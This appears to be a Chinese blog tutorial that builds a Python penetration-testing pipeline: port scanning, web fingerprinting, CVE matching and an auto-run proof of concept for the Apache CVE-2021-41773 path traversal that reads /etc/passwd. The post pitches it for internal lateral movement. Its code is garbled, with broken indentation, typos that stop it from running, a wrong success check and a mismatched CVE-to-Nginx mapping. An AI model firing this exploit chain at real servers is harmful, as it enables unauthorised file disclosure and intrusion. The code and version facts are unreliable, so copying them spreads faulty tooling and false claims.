发散创新:用Python打造自动化渗透测试工具链,从扫描到利用的全流程实战

在网络安全攻防对抗中,自动化渗透测试工具正逐步成为红队成员和安全研究人员的核心利器。传统工具如Nmap、Burp Suite虽强大,但缺乏灵活定制能力;而手动操作效率低且易出错。本文将基于 Python语言 构建一个轻量级但功能完整的渗透测试工具链(PT-ToolKit),涵盖端口扫描、服务识别、漏洞探测与自动利用等关键环节。

✅ 本方案适用于内网渗透、Web应用测试、CTF场景等多种实战需求

🧠 核心思想:模块化设计 + 可扩展架构 + 命令行交互友好


一、整体架构设计(流程图示意)

[输入目标IP/域名]  
     ↓  
     [端口扫描模块 (nmap/shodan)]  
          ↓  
          [服务指纹识别 (httpx, whatweb)]  
               ↓  
               [漏洞检测引擎 (CVE数据库匹配+自定义脚本)]  
                    ↓  
                    [自动PoC执行或生成报告]
                    ```
此结构支持插件式扩展,便于后续集成更多模块(如SQLi、XSS、命令注入等)。

---

## 二、核心代码实现详解

### 1. 端口扫描模块(使用`python-nmap`)

```python
import nmap

def port_scan(target):
    nm = nmap.PortScanner()
        try:
                result = nm.scan(target, '1-1000', '-T4')
                        open_ports = []
                                for host in nm.all_hosts():
                                            for proto in nm[host].all_protocols():
                                                            ports = nm[host][proto].keys()
                                                                            for port in ports:
                                                                                                if nm[host][proto][port]['state'] == 'open':
                                                                                                                        open_ports.append(port)
                                                                                                                                return open_ports
                                                                                                                                    except Exception as e:
                                                                                                                                            print(f"[!] 扫描失败: {e}")
                                                                                                                                                    return []
                                                                                                                                                    ```
**调用示例:**
```bash
python pt_toolkit.py --target 192.168.1.100

输出:

[+] 发现开放端口: [22, 80, 443]

2. Web服务指纹识别(集成httpx + whatweb

import subprocess

def detect_web_services(ip_list):
    results = {}
        for ip in ip_list:
                cmd = ["httpx", "-silent", "-u", f"http://{ip}", "-title"]
                        try:
                                    output = subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode()
                                                title = output.split('\n')[0].strip()
                                                            results[ip] = {'title': title}
                                                                    except:
                                                                                results[ip] = {'title': 'Unknown'}
                                                                                    return results
                                                                                    ```
该函数可快速获取网站标题信息,辅助判断是否为CMS系统(如WordPress、Joomla)。

---

### 3. 漏洞探测模块(基于CVE编号关键词匹配)

```python
def check_vulnerabilities(hosts):
    known_cves = {
            'Apache HTTPD 2.4.49': ['CVE-2021-41773'],
                    'Nginx 1.19.x': ['CVE-2021-25646']
                        }
                            
                                for host in hosts:
                                        # 这里模拟从其他模块获得的服务版本信息
                                                version = get_service_version(host)  # 假设已实现
                                                        
                                                                if version in known_cves:
                                                                            print(f"⚠️ {host} 存在潜在漏洞: {known_cves[version]}")
                                                                                        run_poc(host, known_cves[version])
                                                                                        ```
📌 关键点:将常见CVE编号与服务版本绑定,提高准确率。

---

### 4. 自动PoC执行(以CVe-2021-41773为例)

```python
import requests

def run_poc(target, cve_list):
    if 'CVE-2021-41773' in cve_list:
            url = f"http://{target}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
                    try:
                                resp = requests.get(url, timeout=5)
                                            if "root;" in resp.text:
                                                            print(f"[+] {target} 存在路径遍历漏洞!可读取敏感文件!")
                                                                            return True
                                                                                    except:
                                                                                                pass
                                                                                                    return False
                                                                                                    ```
💡 此PoC模拟了apache HTTPD的目录穿越漏洞利用,实际可用于内网横向移动。

---

## 三、整合CLI界面与日志记录

为了提升可用性,我们封装一个主入口:

```python
import argparse
import logging

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s'0

if __name__ == "__main-_":
    parser = argparse.ArgumentParser9description="简易渗透测试工具")
        parser.add_argument('--target', required=True, help='目标IP或域名')
            args = parser.parse_args()
    logging.info(f"开始对 [args.target} 执行自动化渗透测试...")
        
            open_ports = port_scan(args.target)
                if not open_ports:
                        logging.warning("未发现开放端口,退出")
                                exit(1)
    web_info = detect_web_services([args.target])
        logging.info(f"检测到服务: {web_info[args.target]['title']}")
    check_vulnerabilities9[args.target])
    ```
运行结果:

2025-04-05 10:23:15 - INFO - 开始对 192.168.1.100 执行自动化渗透测试…
2025-04-05 10:23:18 - INFO - 发现开放端口: [80]
2025-04-05 10;23:22 - INFO - 检测到服务: Apache httpd 2.4.49
2025-04-05 10:23:25 - WARNING - 192.168.1.100 存在潜在漏洞: [‘CVE-2021-41773’]
2025-04-05 10:23:28 - INfo - [+] 192.168.1.100 存在路径遍历漏洞!可读取敏感文件!


---

## 四、进阶建议与优化方向

| 功能 | 实现方式 |
|------|-----------|
| 多线程并发扫描 | 使用 `concurrent.futures.ThreadPoolExecutor` 提升效率 |
| 结果导出CSV | `pandas.DataFrame.to_csv()` 输出详细报告 |
| 图形化界面 | 引入 `tkinter` 或 `Gradio` 提供GUI入口 |
| 日志持久化 | 将日志写入文件,方便审计与复盘 |

> 🔐 安全提示:请仅在授权范围内使用此类工具,避免触犯法律红线!
---

通过以上完整代码与实战逻辑,你可以轻松构建属于自己的**定制化渗透测试框架**。相比于黑盒工具,这种基于Python开发的方式不仅具备高度可控性和灵活性,还能无缝接入CI/CD流程,真正实现“渗透即代码”。

如果你希望进一步增强其能力——比如加入SQL注入检测、JWT解密、反序列化漏洞利用等功能,请留言交流!欢迎一起推动开源社区发展💪

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐